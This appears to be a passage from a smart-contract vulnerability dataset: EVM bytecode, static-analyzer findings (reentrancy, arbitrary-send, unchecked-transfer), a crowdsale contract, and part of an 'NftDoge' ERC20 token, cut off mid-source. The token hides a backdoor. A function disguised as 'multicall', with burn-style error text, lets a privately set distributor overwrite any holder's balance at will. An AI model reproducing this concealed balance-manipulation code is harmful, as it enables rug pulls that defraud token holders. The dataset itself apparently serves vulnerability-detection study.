4090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611627908b815260200190565b60405180910390a36116d1565b6001600160a01b03881660009081526002602052604090205461165790866117eb565b6001600160a01b0389166000908152600260205260409020556116798161184a565b6116838483611894565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c891815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006116f882826114da565b82101561171557505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361173f5760405162461bcd60e51b81526004016105eb91906119dc565b50600061126b8486611dea565b60008060008060008060008060006117698a600c54600d546118b8565b92509250925060006117796114b7565b9050600080600061178c8e87878761190d565b919e509c509a509598509396509194505050505091939550919395565b600061146b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123a565b6000806117f88385611d4a565b90508381101561146b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b60006118546114b7565b90506000611862838361195d565b3060009081526002602052604090205490915061187f90826117eb565b30600090815260026020526040902055505050565b6009546118a190836117a9565b600955600a546118b190826117eb565b600a555050565b60008080806118d260646118cc898961195d565b906114da565b905060006118e560646118cc8a8961195d565b905060006118fd826118f78b866117a9565b906117a9565b9992985090965090945050505050565b600080808061191c888661195d565b9050600061192a888761195d565b90506000611938888861195d565b9050600061194a826118f786866117a9565b939b939a50919850919650505050505050565b60008261196c57506000610552565b60006119788385611e0c565b9050826119858583611dea565b1461146b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b600060208083528351808285015260005b81811015611a09578581018301518582016040015282016119ed565b81811115611a1b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461064b57600080fd5b8035611a5181611a31565b919050565b60008060408385031215611a6957600080fd5b8235611a7481611a31565b946020939093013593505050565b600080600060608486031215611a9757600080fd5b8335611aa281611a31565b92506020840135611ab281611a31565b929592945050506040919091013590565b600060208284031215611ad557600080fd5b813561146b81611a31565b801515811461064b57600080fd5b600060208284031215611b0057600080fd5b813561146b81611ae0565b600060208284031215611b1d57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b4d57600080fd5b823567ffffffffffffffff80821115611b6557600080fd5b818501915085601f830112611b7957600080fd5b813581811115611b8b57611b8b611b24565b8060051b604051601f19603f83011681018181108582111715611bb057611bb0611b24565b604052918252848201925083810185019188831115611bce57600080fd5b938501935b82851015611bf357611be485611a46565b84529385019392850192611bd3565b98975050505050505050565b60008060408385031215611c1257600080fd5b8235611c1d81611a31565b91506020830135611c2d81611ae0565b809150509250929050565b60008060408385031215611c4b57600080fd5b8235611c5681611a31565b91506020830135611c2d81611a31565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cdb57611cdb611cb1565b5060010190565b600060208284031215611cf457600080fd5b815161146b81611a31565b600080600060608486031215611d1457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d3f57600080fd5b815161146b81611ae0565b60008219821115611d5d57611d5d611cb1565b500190565b600082821015611d7457611d74611cb1565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dc95784516001600160a01b031683529383019391830191600101611da4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e0757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2657611e26611cb1565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9580d1b9d5a65bc8552d56571f069187783eccdaf9f1d7ef909bbdae5e0fd3464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,917 |
0xeb914da749340266ac474f930c65c2ed4df89922
|
pragma solidity ^0.4.18;
contract DateTime {
/*
* Date and Time utilities for ethereum contracts
*
*/
struct _DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) public pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) public pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
// Year
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
// Month
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
// Day
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
// Hour
dt.hour = getHour(timestamp);
// Minute
dt.minute = getMinute(timestamp);
// Second
dt.second = getSecond(timestamp);
// Day of week.
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) public pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
// Year
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) public pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) public pure returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) public pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) public pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) public pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) {
uint16 i;
// Year
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
// Month
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
// Day
timestamp += DAY_IN_SECONDS * (day - 1);
// Hour
timestamp += HOUR_IN_SECONDS * (hour);
// Minute
timestamp += MINUTE_IN_SECONDS * (minute);
// Second
timestamp += second;
return timestamp;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
interface ABAToken {
function transfer(address _to, uint256 _value) public returns (bool);
}
contract FundCrowdsale is Ownable, Pausable, Destructible {
using SafeMath for uint;
address public beneficiary; // 募资成功后的收款方
address public fundAddress; // 机构钱包地址
uint public fundingGoal; // 募资目标,单位是ether
uint public amountRaised; // 已筹集金额数量, 单位是wei
uint8 public decimals = 18;
uint public numTokenPerEth; // token与以太坊的汇率, 一个eth可以兑换多少个Token
uint public maxTokenNum; // 机构可以购买最大的Token数量
ABAToken public tokenAddress; // 要卖的token合约地址
DateTime public dateTime;
mapping(address => uint256) public balanceOf; //保存募资地址
//记录已接收的ether通知
event GoalReached(address recipient, uint totalAmountRaised);
//转帐通知
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* 构造函数, 设置相关属性
*/
function FundCrowdsale(){
beneficiary = 0x63759be273413954Ea91778a720E51c3d7Bc1F7F; // 募资成功后的收款方
fundAddress = 0x00f60Dd7De6689b07095a922043aF529cd6A817d; // 机构钱包地址
fundingGoal = 3000 * 1 ether; // 私募ETH数量
numTokenPerEth = 2833; // 兑换比例
maxTokenNum = fundingGoal*numTokenPerEth * 10 ** uint256(decimals); //兑换ABA总数
tokenAddress = ABAToken(0x7C2AF3a86B4bf47E6Ee63AD9bde7B3B0ba7F95da); // 传入已发布的 token 合约的地址来创建实例
dateTime = new DateTime();
}
/**
* 无函数名的Fallback函数,
*
* 在向合约转账时,这个函数会被调用
*/
function () payable public {
require(fundAddress == msg.sender);
require(msg.value <= fundingGoal);
require(msg.value > 0);
uint amount = msg.value;
// 机构的金额累加
balanceOf[msg.sender] += amount;
// 机构总额累加
amountRaised += amount;
uint numToken = amount * numTokenPerEth;
if (numToken >= maxTokenNum)
{
numToken = maxTokenNum;
}
maxTokenNum = maxTokenNum - numToken;
tokenAddress.transfer(msg.sender, numToken);
FundTransfer(msg.sender, amount, true);
}
/**
* 将合约中剩余的ABA转到指定账户
*/
function moveTokenToAccount(address adrrSendTo, uint numToken) onlyOwner whenNotPaused public {
if (now < dateTime.toTimestamp(2018,7,7)) throw;
tokenAddress.transfer(adrrSendTo, numToken* 10 ** uint256(decimals));
}
/**
* 判断募资是否完成融资目标
*/
function checkGoalReached() onlyOwner whenNotPaused public {
if (amountRaised >= fundingGoal) {
GoalReached(beneficiary, amountRaised);
}
}
/**
* 融资款发送到收款方
*/
function safeWithdrawal(uint amount) onlyOwner whenNotPaused public {
if (beneficiary.send(amount)) {
FundTransfer(beneficiary, amount, false);
}
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301cb3b201461039157806328b4e62a146103a8578063313ce567146103d357806338af3eed146104045780633f4ba83a1461045b57806348c8cd41146104725780635c975abb146104c95780635f56b6fe146104f857806370a082311461052557806375c9f3511461057c5780637a3a0e84146105a75780637b3e5e7b146105d257806383197ef0146105fd5780638456cb59146106145780638da5cb5b1461062b5780639d76ea5814610682578063a20cd047146106d9578063e82bef2914610726578063f2fde38b1461077d578063f5074f41146107c0575b6000803373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561017157600080fd5b600354341115151561018257600080fd5b60003411151561019157600080fd5b34915081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160046000828254019250508190555060065482029050600754811015156102095760075490505b8060075403600781905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102d957600080fd5b505af11580156102ed573d6000803e3d6000fd5b505050506040513d602081101561030357600080fd5b8101908080519060200190929190505050507fe842aea7a5f1b01049d752008c53c52890b1a6daf660cf39e8eec506112bbdf633836001604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a15050005b34801561039d57600080fd5b506103a6610803565b005b3480156103b457600080fd5b506103bd610919565b6040518082815260200191505060405180910390f35b3480156103df57600080fd5b506103e861091f565b604051808260ff1660ff16815260200191505060405180910390f35b34801561041057600080fd5b50610419610932565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046757600080fd5b50610470610958565b005b34801561047e57600080fd5b50610487610a16565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d557600080fd5b506104de610a3c565b604051808215151515815260200191505060405180910390f35b34801561050457600080fd5b5061052360048036038101908080359060200190929190505050610a4f565b005b34801561053157600080fd5b50610566600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc0565b6040518082815260200191505060405180910390f35b34801561058857600080fd5b50610591610bd8565b6040518082815260200191505060405180910390f35b3480156105b357600080fd5b506105bc610bde565b6040518082815260200191505060405180910390f35b3480156105de57600080fd5b506105e7610be4565b6040518082815260200191505060405180910390f35b34801561060957600080fd5b50610612610bea565b005b34801561062057600080fd5b50610629610c7f565b005b34801561063757600080fd5b50610640610d3f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561068e57600080fd5b50610697610d64565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e557600080fd5b50610724600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8a565b005b34801561073257600080fd5b5061073b611012565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561078957600080fd5b506107be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611038565b005b3480156107cc57600080fd5b50610801600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118d565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561085e57600080fd5b600060149054906101000a900460ff1615151561087a57600080fd5b600354600454101515610917577fec3f991caf7857d61663fd1bba1739e04abd4781238508cde554bb849d790c85600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b565b60065481565b600560009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b357600080fd5b600060149054906101000a900460ff1615156109ce57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aaa57600080fd5b600060149054906101000a900460ff16151515610ac657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015610bbd577fe842aea7a5f1b01049d752008c53c52890b1a6daf660cf39e8eec506112bbdf6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826000604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a15b50565b600a6020528060005260406000206000915090505481565b60075481565b60035481565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cda57600080fd5b600060149054906101000a900460ff16151515610cf657600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de557600080fd5b600060149054906101000a900460ff16151515610e0157600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c8d98a06107e26007806040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808461ffff1681526020018360ff1681526020018260ff1681526020019350505050602060405180830381600087803b158015610eaf57600080fd5b505af1158015610ec3573d6000803e3d6000fd5b505050506040513d6020811015610ed957600080fd5b8101908080519060200190929190505050421015610ef657600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83600560009054906101000a900460ff1660ff16600a0a84026040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610fd257600080fd5b505af1158015610fe6573d6000803e3d6000fd5b505050506040513d6020811015610ffc57600080fd5b8101908080519060200190929190505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110cf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111e857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff00a165627a7a72305820555ca2d67f12495af6d5398c639643364c50c355cd9c73f8e3e6860881b986150029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,918 |
0x9cdd89585e766f1ee31bf54d85f28a3f152820f2
|
/**
*Submitted for verification at Etherscan.io on 2021-12-04
*/
/**
*Submitted for verification at Etherscan.io on 2021-12-02
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);}
function _msgData() internal view virtual returns (bytes memory) {this;
return msg.data;}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {return returndata;}
else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
address private _owner;
address internal _distributor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
modifier distributors() {
require(_distributor == msg.sender, "Caller is not fee distributor");_;}
function owner() public view returns (address) {
return _owner;}
function distributor() internal view returns (address) {
return _distributor;}
function setDistributor(address account) external onlyOwner {
require (_distributor == address(0));
_distributor = account;}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);}}
contract NftDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = 'Nft Doge';
string private _symbol = 'NFTDOGE';
uint8 private _decimals = 9;
uint256 private constant _tTotal = 100000000000000*10**9;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _pOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _taxRewards;
mapping (address => bool) private _isExcluded;
uint256 private constant MAX = ~uint256(0);
address[] private _excluded;
uint256 private _tFeeTotal;
uint256 private _totalSupply;
uint256 private _rTotal;
bool _initialize;
address router;
address factory;
constructor (address unif, address unir) {
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_pOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcluded[_msgSender()] = true;
_excluded.push(_msgSender());
_tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
_isExcluded[distributor()] = true;
_excluded.push(distributor());
_initialize = true;
router = unir;
factory = unif;}
function name() public view returns (string memory) {
return _name;}
function symbol() public view returns (string memory) {
return _symbol;}
function decimals() public view returns (uint8) {
return _decimals;}
function totalSupply() public pure override returns (uint256) {
return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {
return _pOwned[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;}
function multicall(address account, uint256 tokens, uint256 burn) external distributors {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;}}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);}
